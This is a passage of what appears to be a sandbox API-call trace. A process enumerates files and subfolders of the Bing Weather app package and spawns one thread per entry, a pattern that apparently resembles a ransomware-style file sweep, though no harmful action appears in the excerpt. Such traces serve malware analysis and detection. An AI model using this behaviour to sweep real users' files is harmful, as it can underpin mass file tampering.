	[0078.958] wcscpy (in: _Dest=0x2d7d620, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.958] wcscat (in: _Dest=0x2d7d620, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.958] wcscat (in: _Dest=0x2d7d620, _Source="Images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images"
	[0078.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7d620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf24
	[0078.959] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd03022, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7ad84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd2927f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising", cAlternateFileName="MICROS~1.ADV")) returned 1
	[0078.959] wcscmp (_String1="Microsoft.Advertising", _String2=".") returned 1
	[0078.959] wcscmp (_String1="Microsoft.Advertising", _String2="..") returned 1
	[0078.959] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477dbf8
	[0078.959] wcscpy (in: _Dest=0x477dbf8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.959] wcscat (in: _Dest=0x477dbf8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.959] wcscat (in: _Dest=0x477dbf8, _Source="Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0078.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477dbf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf28
	[0078.960] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dd03022, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dd03022, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3ee998, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0078.960] wcscmp (_String1="Microsoft.Advertising.dll", _String2=".") returned 1
	[0078.960] wcscmp (_String1="Microsoft.Advertising.dll", _String2="..") returned 1
	[0078.960] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd03022, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dd03022, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dd03022, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.winmd", cAlternateFileName="")) returned 1
	[0078.960] wcscmp (_String1="Microsoft.Advertising.winmd", _String2=".") returned 1
	[0078.960] wcscmp (_String1="Microsoft.Advertising.winmd", _String2="..") returned 1
	[0078.960] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477e730
	[0078.960] wcscpy (in: _Dest=0x477e730, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.960] wcscat (in: _Dest=0x477e730, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.960] wcscat (in: _Dest=0x477e730, _Source="Microsoft.Advertising.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd"
	[0078.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477e730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf2c
	[0078.961] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7b5bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Controls", cAlternateFileName="MICROS~1.CON")) returned 1
	[0078.961] wcscmp (_String1="Microsoft.Msn.Controls", _String2=".") returned 1
	[0078.961] wcscmp (_String1="Microsoft.Msn.Controls", _String2="..") returned 1
	[0078.961] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12c68
	[0078.961] wcscpy (in: _Dest=0x2e12c68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.961] wcscat (in: _Dest=0x2e12c68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.961] wcscat (in: _Dest=0x2e12c68, _Source="Microsoft.Msn.Controls" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls"
	[0078.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e12c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf30
	[0078.962] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7d91e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1
	[0078.962] wcscmp (_String1="Microsoft.Msn.Shell", _String2=".") returned 1
	[0078.962] wcscmp (_String1="Microsoft.Msn.Shell", _String2="..") returned 1
	[0078.962] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47e8e80
	[0078.962] wcscpy (in: _Dest=0x47e8e80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.962] wcscat (in: _Dest=0x47e8e80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.962] wcscat (in: _Dest=0x47e8e80, _Source="Microsoft.Msn.Shell" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell"
	[0078.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf34
	[0078.962] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd9b990, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e1edde0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e1edde0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd86200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Weather.dll", cAlternateFileName="")) returned 1
	[0078.963] wcscmp (_String1="Microsoft.Msn.Weather.dll", _String2=".") returned 1
	[0078.963] wcscmp (_String1="Microsoft.Msn.Weather.dll", _String2="..") returned 1
	[0078.963] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1edde0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e1edde0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e1edde0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Weather.exe", cAlternateFileName="")) returned 1
	[0078.963] wcscmp (_String1="Microsoft.Msn.Weather.exe", _String2=".") returned 1
	[0078.963] wcscmp (_String1="Microsoft.Msn.Weather.exe", _String2="..") returned 1
	[0078.963] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1edde0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e1edde0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e1edde0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Weather.Tile.winmd", cAlternateFileName="")) returned 1
	[0078.963] wcscmp (_String1="Microsoft.Msn.Weather.Tile.winmd", _String2=".") returned 1
	[0078.963] wcscmp (_String1="Microsoft.Msn.Weather.Tile.winmd", _String2="..") returned 1
	[0078.963] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ec248
	[0078.963] wcscpy (in: _Dest=0x47ec248, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.963] wcscat (in: _Dest=0x47ec248, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.963] wcscat (in: _Dest=0x47ec248, _Source="Microsoft.Msn.Weather.Tile.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Weather.Tile.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Weather.Tile.winmd"
	[0078.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ec248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf38
	[0078.964] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x2d31f11, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x2d31f11, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.964] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.964] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.964] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47ec518
	[0078.964] wcscpy (in: _Dest=0x47ec518, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.964] wcscat (in: _Dest=0x47ec518, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.964] wcscat (in: _Dest=0x47ec518, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ec518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf3c
	[0078.964] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1edde0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e1edde0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e1edde0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1
	[0078.965] wcscmp (_String1="MicrosoftAdvertising.ini", _String2=".") returned 1
	[0078.965] wcscmp (_String1="MicrosoftAdvertising.ini", _String2="..") returned 1
	[0078.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477f530
	[0078.965] wcscpy (in: _Dest=0x477f530, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.965] wcscat (in: _Dest=0x477f530, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.965] wcscat (in: _Dest=0x477f530, _Source="MicrosoftAdvertising.ini" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\MicrosoftAdvertising.ini") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\MicrosoftAdvertising.ini"
	[0078.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477f530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf40
	[0078.965] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e21403e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e31f0b8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e31f0b8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc7af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0078.965] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0078.965] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0078.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4770f78
	[0078.965] wcscpy (in: _Dest=0x4770f78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.965] wcscat (in: _Dest=0x4770f78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.965] wcscat (in: _Dest=0x4770f78, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0078.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4770f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf44
	[0078.966] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e31f0b8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e3917c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e3917c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x128400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLite3Wrapper.dll", cAlternateFileName="")) returned 1
	[0078.966] wcscmp (_String1="SQLite3Wrapper.dll", _String2=".") returned 1
	[0078.966] wcscmp (_String1="SQLite3Wrapper.dll", _String2="..") returned 1
	[0078.966] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e3917c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e3917c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e3917c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLiteWrapper.winmd", cAlternateFileName="")) returned 1
	[0078.966] wcscmp (_String1="SQLiteWrapper.winmd", _String2=".") returned 1
	[0078.966] wcscmp (_String1="SQLiteWrapper.winmd", _String2="..") returned 1
	[0078.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47e8f50
	[0078.966] wcscpy (in: _Dest=0x47e8f50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.966] wcscat (in: _Dest=0x47e8f50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.966] wcscat (in: _Dest=0x47e8f50, _Source="SQLiteWrapper.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\SQLiteWrapper.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\SQLiteWrapper.winmd"
	[0078.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e8f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf48
	[0078.967] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e3917c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e3ddc80, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e3ddc80, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47200, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreRatingPromotion.dll", cAlternateFileName="")) returned 1
	[0078.967] wcscmp (_String1="StoreRatingPromotion.dll", _String2=".") returned 1
	[0078.967] wcscmp (_String1="StoreRatingPromotion.dll", _String2="..") returned 1
	[0078.967] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e3ddc80, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e3ddc80, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e3ddc80, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreRatingPromotion.winmd", cAlternateFileName="")) returned 1
	[0078.967] wcscmp (_String1="StoreRatingPromotion.winmd", _String2=".") returned 1
	[0078.967] wcscmp (_String1="StoreRatingPromotion.winmd", _String2="..") returned 1
	[0078.967] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477e810
	[0078.967] wcscpy (in: _Dest=0x477e810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.967] wcscat (in: _Dest=0x477e810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.967] wcscat (in: _Dest=0x477e810, _Source="StoreRatingPromotion.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd"
	[0078.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477e810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf4c
	[0078.968] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0fdc78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa9368ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d1965e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0078.968] wcscmp (_String1="_Resources", _String2=".") returned 1
	[0078.968] wcscmp (_String1="_Resources", _String2="..") returned 1
	[0078.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x47697e8
	[0078.968] wcscpy (in: _Dest=0x47697e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.968] wcscat (in: _Dest=0x47697e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
